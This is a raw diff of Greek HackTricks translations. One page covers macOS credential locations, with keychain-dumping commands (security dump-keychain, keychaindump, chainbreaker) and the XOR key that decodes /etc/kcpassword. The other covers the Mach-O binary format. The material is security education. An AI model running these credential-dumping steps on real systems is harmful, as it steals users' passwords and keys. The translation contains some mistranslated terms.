Σημειώστε ότι κατά τη χρήση του δυαδικού security για **αποθήκευση των κωδικών αποκρυπτογραφημένων**, πολλές προτροπές θα ζητήσουν από τον χρήστη να επιτρέψει αυτήν τη λειτουργία.
@ -52,30 +57,30 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
### Επισκόπηση Keychaindump
Ένα εργαλείο με το όνομα **keychaindump** έχει αναπτυχθεί για να εξάγει κωδικούς πρόσβασης από τα keychains του macOS, αλλά αντιμετωπίζει περιορισμούς σε νεότερες εκδόσεις macOS όπως το Big Sur, όπως υποδεικνύεται σε μια [συζήτηση](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). Η χρήση του **keychaindump** απαιτεί από τον επιτιθέμενο να κερδίσει πρόσβαση και να αναβαθμίσει τα προνόμια σε **root**. Το εργαλείο εκμεταλλεύεται το γεγονός ότι το keychain είναι ξεκλείδωτο από προεπιλογή κατά την είσοδο του χρήστη για την ευκολία, επιτρέποντας σε εφαρμογές να τον προσπεράσουν χωρίς την ανάγκη επαναλαμβανόμενου κωδικού πρόσβασης του χρήστη. Ωστόσο, αν ένας χρήστης επιλέξει να κλειδώσει το keychain μετά από κάθε χρήση, το **keychaindump** γίνεται αναποτελεσματικό.
Ένα εργαλείο με το όνομα **keychaindump** έχει αναπτυχθεί για την εξαγωγή κωδικών από τα keychains του macOS, αλλά αντιμετωπίζει περιορισμούς σε νεότερες εκδόσεις macOS όπως το Big Sur, όπως υποδεικνύεται σε μια [συζήτηση](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). Η χρήση του **keychaindump** απαιτεί από τον επιτιθέμενο να κερδίσει πρόσβαση και να αναβαθμίσει τα προνόμια σε **root**. Το εργαλείο εκμεταλλεύεται το γεγονός ότι το keychain είναι ξεκλείδωτο από προεπιλογή κατά τη σύνδεση του χρήστη για την ευκολία, επιτρέποντας σε εφαρμογές να τον προσπεράσουν χωρίς την ανάγκη επαναλαμβανόμενου κωδικού πρόσβασης από τον χρήστη. Ωστόσο, αν ένας χρήστης επιλέξει να κλειδώσει το keychain μετά από κάθε χρήση, το **keychaindump** γίνεται αναποτελεσματικό.
Το **Keychaindump** λειτουργεί στοχεύοντας ένα συγκεκριμένο διεργασία με το όνομα **securityd**, περιγραμμένο από την Apple ως ένα δαίμονα για την εξουσιοδότηση και κρυπτογραφικές λειτουργίες, ουσιώδης για την πρόσβαση στο keychain. Η διαδικασία εξαγωγής περιλαμβάνει την εντοπισμό ενός **Master Key** που προέρχεται από τον κωδικό εισόδου του χρήστη. Αυτό το κλειδί είναι ουσιώδες για την ανάγνωση του αρχείου keychain. Για να εντοπίσει το **Master Key**, το **keychaindump** σαρώνει τη μνήμη του **securityd** χρησιμοποιώντας την εντολή `vmmap`, αναζητώντας πιθανά κλειδιά μέσα σε περιοχές που σημειώνονται ως `MALLOC_TINY`. Η παρακάτω εντολή χρησιμοποιείται για τον έλεγχο αυτών των τοποθεσιών μνήμης:
Το **Keychaindump** λειτουργεί στοχεύοντας ένα συγκεκριμένο διεργασία με το όνομα **securityd**, περιγράφεται από την Apple ως ένας δαίμονας για την εξουσιοδότηση και κρυπτογραφικές λειτουργίες, ουσιώδης για την πρόσβαση στο keychain. Η διαδικασία εξαγωγής περιλαμβάνει την εντοπισμό ενός **Master Key** που προέρχεται από τον κωδικό σύνδεσης του χρήστη. Αυτό το κλειδί είναι ουσιώδες για την ανάγνωση του αρχείου keychain. Για να εντοπίσει το **Master Key**, το **keychaindump** σαρώνει τη μνήμη του **securityd** χρησιμοποιώντας την εντολή `vmmap`, αναζητώντας πιθανά κλειδιά μέσα σε περιοχές που σημειώνονται ως `MALLOC_TINY`. Η παρακάτω εντολή χρησιμοποιείται για τον έλεγχο αυτών των τοποθεσιών μνήμης:
```bash
sudo vmmap <securityd PID> | grep MALLOC_TINY
```
Αφού εντοπιστούν πιθανοί κύριοι κλειδιά, το **keychaindump** αναζητά μέσα στα heaps ένα συγκεκριμένο πρότυπο (`0x0000000000000018`) που υποδηλώνει ένα υποψήφιο για το κύριο κλειδί. Περαιτέρω βήματα, συμπεριλαμβανομένης της αποσκίασης, απαιτούνται για τη χρήση αυτού του κλειδιού, όπως περιγράφεται στον πηγαίο κώδικα του **keychaindump**. Οι αναλυτές που επικεντρώνονται σε αυτόν τον τομέα πρέπει να σημειώσουν ότι τα κρίσιμα δεδομένα για την αποκρυπτογράφηση του keychain αποθηκεύονται μέσα στη μνήμη της διεργασίας **securityd**. Ένα παράδειγμα εντολής για την εκτέλεση του **keychaindump** είναι:
Αφού εντοπιστούν πιθανοί κύριοι κλειδιά, το **keychaindump** αναζητά μέσω των σωρών ένα συγκεκριμένο πρότυπο (`0x0000000000000018`) που υποδηλώνει ένα υποψήφιο για το κύριο κλειδί. Περαιτέρω βήματα, συμπεριλαμβανομένης της απο-εμφάνισης, απαιτούνται για να χρησιμοποιηθεί αυτό το κλειδί, όπως περιγράφεται στον πηγαίο κώδικα του **keychaindump**. Οι αναλυτές που επικεντρώνονται σε αυτόν τον τομέα πρέπει να σημειώσουν ότι τα κρίσιμα δεδομένα για την αποκρυπτογράφηση του keychain αποθηκεύονται μέσα στη μνήμη της διεργασίας **securityd**. Ένα παράδειγμα εντολής για την εκτέλεση του **keychaindump** είναι:
```bash
sudo ./keychaindump
```
### chainbreaker
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) μπορεί να χρησιμοποιηθεί για την εξαγωγή των ακόλουθων τύπων πληροφοριών από ένα OSX keychain με ενδεδειγμένο τρόπο από πλευράς ψηφιοανακριτικής:
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) μπορεί να χρησιμοποιηθεί για την εξαγωγή των ακόλουθων τύπων πληροφοριών από έναν OSX keychain με τρόπο που να είναι ασφαλής από δικαστική άποψη:
* Κρυπτογραφημένος κωδικός Keychain, κατάλληλος για αποκρυπτογράφηση με το [hashcat](https://hashcat.net/hashcat/) ή το [John the Ripper](https://www.openwall.com/john/)
* Κρυπτογραφημένος κωδικός keychain, κατάλληλος για αποκρυπτογράφηση με το [hashcat](https://hashcat.net/hashcat/) ή το [John the Ripper](https://www.openwall.com/john/)
* Κωδικοί Internet
* Γενικοί Κωδικοί
* Ιδιωτικά Κλειδιά
* Γενικοί κωδικοί
* Ιδιωτικοί Κλειδιά
* Δημόσια Κλειδιά
* Πιστοποιητικά X509
* Ασφαλείς Σημειώσεις
* Κωδικοί Appleshare
Δεδομένου του κωδικού ξεκλειδώματος του keychain, ενός κύριου κλειδιού που αποκτήθηκε χρησιμοποιώντας το [volafox](https://github.com/n0fate/volafox) ή το [volatility](https://github.com/volatilityfoundation/volatility), ή ενός αρχείου ξεκλειδώματος όπως το SystemKey, το Chainbreaker θα παρέχει επίσης κωδικούς κειμένου.
Δεδομένου του κωδικού ξεκλειδώματος του keychain, ενός κύριου κλειδιού που αποκτήθηκε χρησιμοποιώντας το [volafox](https://github.com/n0fate/volafox) ή το [volatility](https://github.com/volatilityfoundation/volatility), ή ενός αρχείου ξεκλειδώματος όπως το SystemKey, το Chainbreaker θα παρέχει επίσης κωδικούς πλήρεις κειμένου.
Χωρίς έναν από αυτούς τους τρόπους ξεκλειδώματος του Keychain, το Chainbreaker θα εμφανίσει όλες τις άλλες διαθέσιμες πληροφορίες.
@ -123,7 +128,7 @@ python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library
Το αρχείο **kcpassword** είναι ένα αρχείο που κρατά το **κωδικό πρόσβασης του χρήστη**, μόνο εάν ο ιδιοκτήτης του συστήματος έχει **ενεργοποιήσει την αυτόματη σύνδεση**. Έτσι, ο χρήστης θα συνδεθεί αυτόματα χωρίς να του ζητηθεί κωδικός πρόσβασης (το οποίο δεν είναι πολύ ασφαλές).
Ο κωδικός πρόσβασης αποθηκεύεται στο αρχείο **`/etc/kcpassword`** που έχει γίνει xor με το κλειδί **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Εάν ο κωδικός πρόσβασης των χρηστών είναι μεγαλύτερος από το κλειδί, το κλειδί θα επαναχρησιμοποιηθεί.\
Ο κωδικός πρόσβασης αποθηκεύεται στο αρχείο **`/etc/kcpassword`** που έχει γίνει xor με το κλειδί **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Εάν ο κωδικός πρόσβασης του χρήστη είναι μεγαλύτερος από το κλειδί, το κλειδί θα επαναχρησιμοποιηθεί.\
Αυτό καθιστά τον κωδικό πρόσβασης αρκετά εύκολο να ανακτηθεί, για παράδειγμα χρησιμοποιώντας σενάρια όπως [**αυτό**](https://gist.github.com/opshope/32f65875d45215c3677d).
## Ενδιαφέρουσες Πληροφορίες σε Βάσεις Δεδομένων
@ -138,7 +143,7 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
```
### Ειδοποιήσεις
Μπορείτε να βρείτε τα δεδομένα των Ειδοποιήσεων στο `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`
Μπορείτε να βρείτε τα δεδομένα Ειδοποιήσεων στο `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`
Το μεγαλύτερο μέρος των ενδιαφερουσών πληροφοριών θα βρίσκεται στο **blob**. Έτσι θα χρειαστεί να **εξάγετε** αυτό το περιεχόμενο και να το **μετατρέψετε** σε **αναγνώσιμη** μορφή ή να χρησιμοποιήσετε το **`strings`**. Για να το προσπελάσετε μπορείτε να κάνετε:
```bash
@ -172,9 +177,9 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
### Ειδοποιήσεις Darwin
Το κύριο δαίμονα για τις ειδοποιήσεις είναι το **`/usr/sbin/notifyd`**. Για να λαμβάνουν ειδοποιήσεις, οι πελάτες πρέπει να εγγραφούν μέσω της θύρας Mach `com.apple.system.notification_center` (ελέγξτε τους με `sudo lsmp -p <pid notifyd>`). Το δαίμονας είναι δυνατό να προσαρμοστεί με το αρχείο `/etc/notify.conf`.
Το κύριο δαίμονα για τις ειδοποιήσεις είναι το **`/usr/sbin/notifyd`**. Για να λάβουν ειδοποιήσεις, οι πελάτες πρέπει να εγγραφούν μέσω της θύρας Mach `com.apple.system.notification_center` (ελέγξτε τους με `sudo lsmp -p <pid notifyd>`). Το δαίμονας είναι παραμετροποιήσιμος με το αρχείο `/etc/notify.conf`.
Τα ονόματα που χρησιμοποιούνται για τις ειδοποιήσεις είναι μοναδικές αντιστρόφως DNS σημειώσεις και όταν στέλνεται μια ειδοποίηση σε ένα από αυτά, οι πελάτες που έχουν δηλώσει ότι μπορούν να τη χειριστούν θα τη λάβουν.
Τα ονόματα που χρησιμοποιούνται για τις ειδοποιήσεις είναι μοναδικές αντιστροφές σημειώσεις DNS και όταν στέλνεται μια ειδοποίηση σε ένα από αυτά, το(τα) πελάτη(ες) που έχουν δηλώσει ότι μπορούν να τη χειριστούν θα τη λάβουν.
Είναι δυνατό να αδειάσετε την τρέχουσα κατάσταση (και να δείτε όλα τα ονόματα) στέλνοντας το σήμα SIGUSR2 στη διαδικασία notifyd και διαβάζοντας το δημιουργημένο αρχείο: `/var/run/notifyd_<pid>.status`:
```bash
@ -207,7 +212,7 @@ common: com.apple.security.octagon.joined-with-bottle
```bash
sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
```
Είναι επίσης δυνατό να λάβετε πληροφορίες σχετικά με τον δαίμονα και τις συνδέσεις χρησιμοποιώντας:
Είναι επίσης δυνατό να λάβετε πληροφορίες σχετικά με τον daemon και τις συνδέσεις χρησιμοποιώντας:
```bash
/System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status
```
@ -215,6 +220,6 @@ sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
Αυτές είναι ειδοποιήσεις που ο χρήστης πρέπει να δει στην οθόνη:
* **`CFUserNotification`**: Αυτή η API παρέχει έναν τρόπο να εμφανιστεί στην οθόνη ένα αναδυόμενο παράθυρο με ένα μήνυμα.
* **Το Πίνακας Ανακοινώσεων**: Αυτό εμφανίζει στο iOS ένα banner που εξαφανίζεται και θα αποθηκευτεί στο Κέντρο Ειδοποιήσεων.
* **`NSUserNotificationCenter`**: Αυτός είναι ο πίνακας ανακοινώσεων στο MacOS. Η βάση δεδομένων με τις ειδοποιήσεις βρίσκεται στο `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`
- **`CFUserNotification`**: Αυτή η API παρέχει έναν τρόπο να εμφανιστεί στην οθόνη ένα αναδυόμενο παράθυρο με ένα μήνυμα.
- **Το Bulletin Board**: Αυτό εμφανίζει στο iOS ένα banner που εξαφανίζεται και θα αποθηκευτεί στο Notification Center.
- **`NSUserNotificationCenter`**: Αυτό είναι το bulletin board του iOS στο MacOS. Η βάση δεδομένων με τις ειδοποιήσεις βρίσκεται στο `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`

View file

@ -1,34 +1,35 @@
# macOS Πανεπιστημιακά δυαδικά & Μορφή Mach-O
{% hint style="success" %}
Μάθε & εξάσκησε το Hacking στο AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε το Hacking στο GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
Τα δυαδικά αρχεία του Mac OS συνήθως συντάσσονται ως **πανεπιστημιακά δυαδικά**. Ένα **πανεπιστημιακό δυαδικό** μπορεί να **υποστηρίζει πολλές αρχιτεκτονικές στον ίδιο φάκελο**.
Τα δυαδικά αρχεία του Mac OS συνήθως μεταγλωττίζονται ως **πανεπιστημιακά δυαδικά**. Ένα **πανεπιστημιακό δυαδικό** μπορεί να **υποστηρίζει πολλές αρχιτεκτονικές στον ίδιο φάκελο**.
Αυτά τα δυαδικά ακολουθούν τη **δομή Mach-O** η οποία βασικά αποτελείται από:
Αυτά τα δυαδικά ακολουθούν τη **δομή Mach-O** η οποία αποτελείται βασικά από:
* Κεφαλίδα
* Εντολές Φόρτωσης
* Δεδομένα
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (467).png>)
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (470).png>)
## Παχύ Κεφαλίδα
Αναζητήστε το αρχείο με: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
Αναζήτηση για το αρχείο με: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
<pre class="language-c"><code class="lang-c"><strong>#define FAT_MAGIC 0xcafebabe
</strong><strong>#define FAT_CIGAM 0xbebafeca /* NXSwapLong(FAT_MAGIC) */
@ -41,7 +42,7 @@ struct fat_header {
struct fat_arch {
cpu_type_t cputype; /* καθοριστής επεξεργαστή (int) */
cpu_subtype_t cpusubtype; /* καθοριστής μηχανής (int) */
uint32_t offset; /* μετατόπιση αρχείου προς αυτό το αντικείμενο */
uint32_t offset; /* μετατόπιση αρχείου προς αυτό το αρχείο αντικείμενο */
uint32_t size; /* μέγεθος αυτού του αρχείου αντικειμένου */
uint32_t align; /* ευθυγράμμιση ως δύναμη του 2 */
};
@ -78,9 +79,9 @@ cpusubtype CPU_SUBTYPE_ARM64E
ή χρησιμοποιώντας το εργαλείο [Mach-O View](https://sourceforge.net/projects/machoview/):
<figure><img src="../../../.gitbook/assets/image (1091).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1094).png" alt=""><figcaption></figcaption></figure>
Όπως ίσως σκέφτεστε συνήθως ένα πανεπιστημιακό δυαδικό συνταγμένο για 2 αρχιτεκτονικές **διπλασιάζει το μέγεθος** ενός συνταγμένου για μόνο 1 αρχιτεκτονική.
Όπως ίσως σκέφτεστε συνήθως ένα πανεπιστημιακό δυαδικό μεταγλωττισμένο για 2 αρχιτεκτονικές **διπλασιάζει το μέγεθος** ενός μεταγλωττισμένου για μόνο 1 αρχιτεκτονική.
## **Κεφαλίδα Mach-O**
@ -113,16 +114,16 @@ uint32_t reserved; /* reserved */
```
### Τύποι Αρχείων Mach-O
Υπάρχουν διαφορετικοί τύποι αρχείων, μπορείτε να τους βρείτε ορισμένους στον [**πηγαίο κώδικα για παράδειγμα εδώ**](https://opensource.apple.com/source/xnu/xnu-2050.18.24/EXTERNAL\_HEADERS/mach-o/loader.h). Οι πιο σημαντικοί είναι:
Υπάρχουν διαφορετικοί τύποι αρχείων, μπορείτε να τους βρείτε ορισμένους ορισμένους στον [**πηγαίο κώδικα για παράδειγμα εδώ**](https://opensource.apple.com/source/xnu/xnu-2050.18.24/EXTERNAL\_HEADERS/mach-o/loader.h). Οι πιο σημαντικοί είναι:
- `MH_OBJECT`: Αρχείο αντικειμένου που μπορεί να μετακινηθεί (ενδιάμεσα προϊόντα σύνθεσης, ακόμα όχι εκτελέσιμα).
- `MH_OBJECT`: Αρχείο αντικειμένου που μπορεί να μετακινηθεί (ενδιάμεσα προϊόντα σύνθεσης, αλλά όχι ακόμα εκτελέσιμα).
- `MH_EXECUTE`: Εκτελέσιμα αρχεία.
- `MH_FVMLIB`: Αρχείο βιβλιοθήκης Fixed VM.
- `MH_CORE`: Αποθήκευση κώδικα.
- `MH_PRELOAD`: Προφορτωμένο εκτελέσιμο αρχείο (πλέον δεν υποστηρίζεται στο XNU).
- `MH_DYLIB`: Δυναμικές Βιβλιοθήκες.
- `MH_DYLINKER`: Δυναμικός Διαμεσολαβητής.
- `MH_BUNDLE`: "Αρχεία προσθέτων". Δημιουργούνται χρησιμοποιώντας την επιλογή -bundle στο gcc και φορτώνονται ρητά από `NSBundle` ή `dlopen`.
- `MH_FVMLIB`: Αρχείο βιβλιοθήκης σταθερής VM.
- `MH_CORE`: Αποθήκευση κώδικα
- `MH_PRELOAD`: Προφορτωμένο εκτελέσιμο αρχείο (πλέον δεν υποστηρίζεται στο XNU)
- `MH_DYLIB`: Δυναμικές βιβλιοθήκες
- `MH_DYLINKER`: Δυναμικός σύνδεσμος
- `MH_BUNDLE`: "Αρχεία πρόσθετων". Δημιουργούνται χρησιμοποιώντας την επιλογή -bundle στο gcc και φορτώνονται ρητά από `NSBundle` ή `dlopen`.
- `MH_DYSM`: Συνοδευτικό αρχείο `.dSym` (αρχείο με σύμβολα για αποσφαλμάτωση).
- `MH_KEXT_BUNDLE`: Πρόσθετα πυρήνα.
```bash
@ -134,7 +135,7 @@ MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DY
```
Ή χρησιμοποιώντας το [Mach-O View](https://sourceforge.net/projects/machoview/):
<figure><img src="../../../.gitbook/assets/image (1130).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1133).png" alt=""><figcaption></figcaption></figure>
## **Σημαίες Mach-O**
@ -157,7 +158,7 @@ MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DY
## **Εντολές Φόρτωσης Mach-O**
Η **διάταξη του αρχείου στη μνήμη** καθορίζεται εδώ, λεπτομερώς η **τοποθεσία του πίνακα συμβόλων**, το πλαίσιο του κύριου νήματος στην έναρξη εκτέλεσης και οι απαιτούμενες **κοινόχρηστες βιβλιοθήκες**. Υποδεικνύονται οδηγίες στον δυναμικό φορτωτή **(dyld)** για τη διαδικασία φόρτωσης του δυαδικού στη μνήμη.
Η **διάταξη του αρχείου στη μνήμη** καθορίζεται εδώ, λεπτομερώς η **τοποθεσία του πίνακα συμβόλων**, το πλαίσιο του κύριου νήματος στην έναρξη εκτέλεσης και οι απαιτούμενες **κοινόχρηστες βιβλιοθήκες**. Δίνονται οδηγίες στον δυναμικό φορτωτή **(dyld)** για τη διαδικασία φόρτωσης του δυαδικού στη μνήμη.
Χρησιμοποιεί τη δομή **load\_command**, ορισμένη στο αναφερόμενο **`loader.h`**:
```objectivec
@ -178,30 +179,30 @@ uint32_t cmdsize; /* total size of command in bytes */
Υπάρχουν **διαφορετικοί τύποι** segments, όπως το segment **\_\_TEXT**, που κρατά τον εκτελέσιμο κώδικα ενός προγράμματος, και το segment **\_\_DATA**, που περιέχει δεδομένα που χρησιμοποιούνται από τη διαδικασία. Αυτά τα **segments βρίσκονται στην ενότητα δεδομένων** του αρχείου Mach-O.
**Κάθε segment** μπορεί να χωριστεί περαιτέρω σε πολλά **τμήματα**. Η δομή της εντολής φόρτωσης περιέχει **πληροφορίες** σχετικά με **αυτά τα τμήματα** εντός του αντίστοιχου segment.
**Κάθε segment** μπορεί να χωριστεί περαιτέρω σε πολλαπλές **ενότητες**. Η δομή της **εντολής φόρτωσης** περιέχει **πληροφορίες** σχετικά με **αυτές τις ενότητες** εντός του αντίστοιχου segment.
Στην κεφαλίδα πρώτα βρίσκεται η **κεφαλίδα του segment**:
Στην κεφαλίδα πρώτα βρίσκετε η **κεφαλίδα του segment**:
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* για αρχιτεκτονικές 64-bit */
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* για 64-bit αρχιτεκτονικές */
uint32_t cmd; /* LC_SEGMENT_64 */
uint32_t cmdsize; /* περιλαμβάνει το μέγεθος των δομών section_64 */
uint32_t cmdsize; /* περιλαμβάνει το μέγεθος των section_64 structs */
char segname[16]; /* όνομα segment */
uint64_t vmaddr; /* διεύθυνση μνήμης αυτού του segment */
uint64_t vmsize; /* μέγεθος μνήμης αυτού του segment */
uint64_t fileoff; /* αρχείο offset αυτού του segment */
uint64_t filesize; /* ποσότητα προς αντιστοίχιση από το αρχείο */
uint64_t filesize; /* ποσό για αντιστοίχιση από το αρχείο */
int32_t maxprot; /* μέγιστη προστασία VM */
int32_t initprot; /* αρχική προστασία VM */
<strong> uint32_t nsects; /* αριθμός τμημάτων στο segment */
<strong> uint32_t nsects; /* αριθμός ενοτήτων στο segment */
</strong> uint32_t flags; /* σημαίες */
};
</code></pre>
Παράδειγμα κεφαλίδας segment:
<figure><img src="../../../.gitbook/assets/image (1123).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1126).png" alt=""><figcaption></figcaption></figure>
Αυτή η κεφαλίδα ορίζει τον **αριθμό των τμημάτων των οποίων οι κεφαλίδες εμφανίζονται μετά** από αυτήν:
Αυτή η κεφαλίδα ορίζει τον **αριθμό των ενοτήτων των οποίων οι κεφαλίδες εμφανίζονται μετά** από αυτήν:
```c
struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */
@ -218,62 +219,62 @@ uint32_t reserved2; /* reserved (for count or sizeof) */
uint32_t reserved3; /* reserved */
};
```
Παράδειγμα **επικεφαλίδας ενότητας**:
Παράδειγμα του **επικεφαλίδας ενότητας**:
<figure><img src="../../../.gitbook/assets/image (1105).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1108).png" alt=""><figcaption></figcaption></figure>
Εάν **προσθέσετε** το **μετατόπισμα της ενότητας** (0x37DC) + το **μετατόπισμα** όπου **ξεκινά η αρχιτεκτονική**, σε αυτήν την περίπτωση `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (698).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (701).png" alt=""><figcaption></figcaption></figure>
Είναι επίσης δυνατό να λάβετε **πληροφορίες επικεφαλίδων** από τη **γραμμή εντολών** με:
Είναι επίσης δυνατό να πάρετε **πληροφορίες επικεφαλίδων** από τη **γραμμή εντολών** με:
```bash
otool -lv /bin/ls
```
Κοινά τμήματα που φορτώνονται από αυτήν την εντολή:
* **`__PAGEZERO`:** Οδηγεί τον πυρήνα να **χαρτογραφήσει** τη **διεύθυνση μηδέν** έτσι ώστε να **μην μπορεί να διαβαστεί, να γραφτεί ή να εκτελεστεί**. Οι μεταβλητές maxprot και minprot στη δομή ορίζονται σε μηδέν για να υποδείξουν ότι δεν υπάρχουν δικαιώματα ανάγνωσης-εγγραφής-εκτέλεσης σε αυτήν τη σελίδα.
* Αυτή η δέσμευση είναι σημαντική για την αντιμετώπιση των ευπαθειών αναφοράς σε μηδενικό δείκτη. Αυτό συμβαίνει επειδή το XNU επιβάλλει ένα σκληρό μηδενικό σελίδας που εξασφαλίζει ότι η πρώτη σελίδα (μόνο η πρώτη) της μνήμης είναι μη προσβάσιμη (εκτός από το i386). Ένα δυαδικό αρχείο θα μπορούσε να πληροί αυτές τις απαιτήσεις δημιουργώντας ένα μικρό \_\_PAGEZERO (χρησιμοποιώντας το `-pagezero_size`) για να καλύψει τα πρώτα 4k και να έχει το υπόλοιπο της μνήμης 32bit προσβάσιμο σε και τα δύο λειτουργικά και πυρήνα.
* **`__PAGEZERO`:** Οδηγεί τον πυρήνα να **χαρτογραφήσει** τη **διεύθυνση μηδέν** έτσι ώστε να **μην μπορεί να διαβαστεί, να γραφτεί ή να εκτελεστεί**. Οι μεταβλητές maxprot και minprot στη δομή ορίζονται σε μηδέν για να υποδείξουν ότι δεν υπάρχουν **δικαιώματα ανάγνωσης-εγγραφής-εκτέλεσης σε αυτήν τη σελίδα**.
* Αυτή η δέσμευση είναι σημαντική για την **αντιμετώπιση των ευπαθειών αναφοράς σε μηδενικό δείκτη**. Αυτό συμβαίνει επειδή το XNU επιβάλλει ένα σκληρό μηδενικό σελίδας που εξασφαλίζει ότι η πρώτη σελίδα (μόνο η πρώτη) της μνήμης είναι μη προσβάσιμη (εκτός από το i386). Ένα δυαδικό αρχείο θα μπορούσε να πληροί αυτές τις απαιτήσεις δημιουργώντας ένα μικρό \_\_PAGEZERO (χρησιμοποιώντας το `-pagezero_size`) για να καλύψει τα πρώτα 4k και να έχει το υπόλοιπο της μνήμης 32bit προσβάσιμο και σε λειτουργία χρήστη και πυρήνα.
* **`__TEXT`**: Περιέχει **εκτελέσιμο** **κώδικα** με δικαιώματα **ανάγνωσης** και **εκτέλεσης** (χωρίς εγγραφή)**.** Κοινές ενότητες αυτού του τμήματος:
* `__text`: Μεταγλωττισμένος δυαδικός κώδικας
* `__const`: Σταθερά δεδομένα (μόνο για ανάγνωση)
* `__[c/u/os_log]string`: Σταθερές συμβολοσειρές C, Unicode ή os logs
* `__stubs` και `__stubs_helper`: Εμπλέκονται κατά τη διαδικασία φόρτωσης δυναμικής βιβλιοθήκης
* `__unwind_info`: Δεδομένα αναδίπλωσης στοίβας.
* Σημειώστε ότι όλο το περιεχόμενο αυτό είναι υπογεγραμμένο αλλά επίσης επισημαίνεται ως εκτελέσιμο (δημιουργώντας περισσότερες επιλογές για εκμετάλλευση ενοτήτων που δεν χρειάζονται απαραίτητα αυτό το προνόμιο, όπως ενότητες αφιερωμένες σε συμβολοσειρές).
* `__unwind_info`: Δεδομένα ανάπτυξης στοίβας.
* Σημειώστε ότι όλο αυτό το περιεχόμενο είναι υπογεγραμμένο αλλά και επισημασμένο ως εκτελέσιμο (δημιουργώντας περισσότερες επιλογές για εκμετάλλευση τμημάτων που δεν χρειάζονται απαραίτητα αυτό το προνόμιο, όπως τμήματα αφιερωμένα σε συμβολοσειρές).
* **`__DATA`**: Περιέχει δεδομένα που είναι **αναγνώσιμα** και **εγγράψιμα** (χωρίς εκτέλεση)**.**
* `__got:` Πίνακας Καθολικής Μετατόπισης
* `__nl_symbol_ptr`: Μη τεμπέλικο (δέσμευση κατά τη φόρτωση) δείκτης συμβόλου
* `__la_symbol_ptr`: Τεμπέλικο (δέσμευση κατά τη χρήση) δείκτης συμβόλου
